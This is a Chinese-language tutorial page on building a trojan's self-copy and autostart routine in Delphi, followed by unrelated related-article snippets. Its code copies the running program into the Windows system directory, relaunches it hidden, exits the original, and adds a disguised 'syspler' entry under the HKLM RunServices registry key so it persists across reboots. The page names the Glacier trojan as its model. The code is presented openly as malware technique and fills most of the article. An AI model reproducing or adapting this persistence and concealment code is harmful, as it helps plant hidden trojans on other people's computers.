木马自我拷贝法[Delphi]

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:

 

procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);...{将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

 

如何能使程序能在windows启动时自动启动?
 
为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

 

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
...{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);...{//将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end; 

时间: 2025-01-27 18:08:45

木马自我拷贝法[Delphi]的相关文章

Delphi实现木马文件传输代码实例_Delphi

本文以实例形式讲述了Delphi下木马的文件传输方法的实现过程,具体步骤如下: 服务器端代码: unit ServerFrm; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, ExtCtrls,WinSock; type TfrmMain = class(TForm) Panel1: TPanel; Labe

u-boot-1.3.4 移植到S3C2440

一.预备知识: 1.       首先, U-Boot1.3.4 还没有支持 s3c2440 ,移植仍是用 2410 的文件稍作修改而成的. 2.       2440 和 2410 的区别: 2440和 2410的区别主要是 2440的主频更高,增加了摄像头接口和 AC'97音频接口:寄存器方面,除了新增模 块的寄存器外,移植所要注意的是 NAND FlASH控制器的寄存器有较大的变化.芯片的时钟频率控制寄存器(芯片 PLL的寄存器)有一定的变化.其他寄存器基本是兼容的. 3.  你开发板的

Seo:如何写伪原创

很多人都在自己的SEO经验文章里提到"伪原创"这个概念,一般来说,无非是改改标题之类的小技巧,但怎么改才能让搜索引擎认为是新原创文章,这里面可是有些门道的哦.今天就给大家来聊聊如何自己制造"伪原创".  一.修改标题是关键     (1)数字替换法     比如新浪教育的一篇文章,标题是:"备战中考作文:五招让你的文章'亮'起来",在修改标题的时候,就完全可以改成:"备战中考作文:三招让你的文章'亮'起来"取而代之的,然后将文

Delphi2009中使用dbExpress组件访问MySql(登陆页面)

首先新建数据访问模块(Data Module),如下图: 这里使用MySql数据库,考虑到dbGo组件(即ADO)对MySql的不友好,使用dbExpress组件行进数据库的访问. 首先添加一个TSqlConnection控件. 为了使用dbExpress访问数据库,需要把MySql的安装路径下bin目录下的libmySQL.dll文件拷贝至Delphi安装路径的bin目录下. 如上图所示作必要的设置即可.(LoginPrompt属性设置成false以关闭每次连接数据库时的认证对话框) 创建一个

交换机与配线架端口四种配对法

在组建局域网时,按照综合布线的一般规范,施工中应使用带有"米标"的网线或在两侧水晶头处套专用"异型号码管",并在机柜处做与"米标"或"号码管"相对应的计算机标识记录. 许多单位原来计算机的数量很少,后来逐步添加了一些计算机,组成具有一定规模的局域网,而原来组网时并没有给连接计算机的网线做标识,或只加了1234.ABCD这样的纸制标签,容易出现雷同,时间久了有些标识还会模糊 不清,这给以后的网络维护工作带来了不便.在给局域网进行

综合布线中网线配对的方法

在组建局域网时,按照综合布线的一般规范,施工中应使用带有"米标"的网线或在两侧水晶头处套专用"异型号码管",并在机柜处做与"米标"或"号码管"相对应的计算机标识记录.许多单位原来计算机的数量很少,后来逐步添加了一些计算机,组成具有一定规模的局域网,而原来组网时并没有给连接计算机的网线做标识,或只加了1234.ABCD这样的纸制标签,容易出现雷同,时间久了有些标识还会模糊不清,这给以后的网络维护工作带来了不便.在给局域网进行标准

关于指针和内存的几个问题

一."delete p" 会删去 "p" 指针,还是它指到的资料,"*p" ? 该指针指到的资料."delete" 真正的意思是:「删去指针指到的东西」(delete the thing pointed to by).同样的英文误用也发生在 C 语言的「释放」指标所指向的记忆体("free(p)"真正的意思是:"free_the_stuff_pointed_to_by(p)" ). 二.

如何识别和利用用户情绪

在日常的可用性测试.深访.座谈会等调研中,无论是作为主持人还是观察员,我们会发现一些有意思的现象:用户在参与的过程中,有做沉思状态.有茫然感.有皱眉等,除此之外,还会出现一些肢体动作,如耸肩.双手交叉等;以及伴随一些语气语调的变化,如咦.哦.啧等.用户展现出的如此丰富.有意思的面部表情.肢体动作以及语气语调,和我们的调研项目很多方面存在直接的关系. 调研中常见情绪情景 在日常调研中,和用户的交流主要在用户招募.定性调研执行阶段: 1)在招募用户过程中,尤其是只闻其声不见其人的电话招募,我们会发现

Nero-Burnig Rom刻录软件实用技巧

Nero-Burnig Rom(以下简称)是大家用得非常多的刻录软件,现在又出了全新的版本,在此之际,让我们来回顾一下它的一些实用技巧是相当有必要的.很有可能里面有些你还不知道哦! 1.使用向导窗口 如果我们使用最新版的Nero,那它为我们提供了一个向导窗口,大家只要选择"开始"→"程序"→ahead Nero→Nero Express,就可以启动它.(如图1),在其中可以选择刻录机,也选择刻录盘片类型,然后顺着向导操作就可以了,非常方便.相信对于初学者很有帮助,在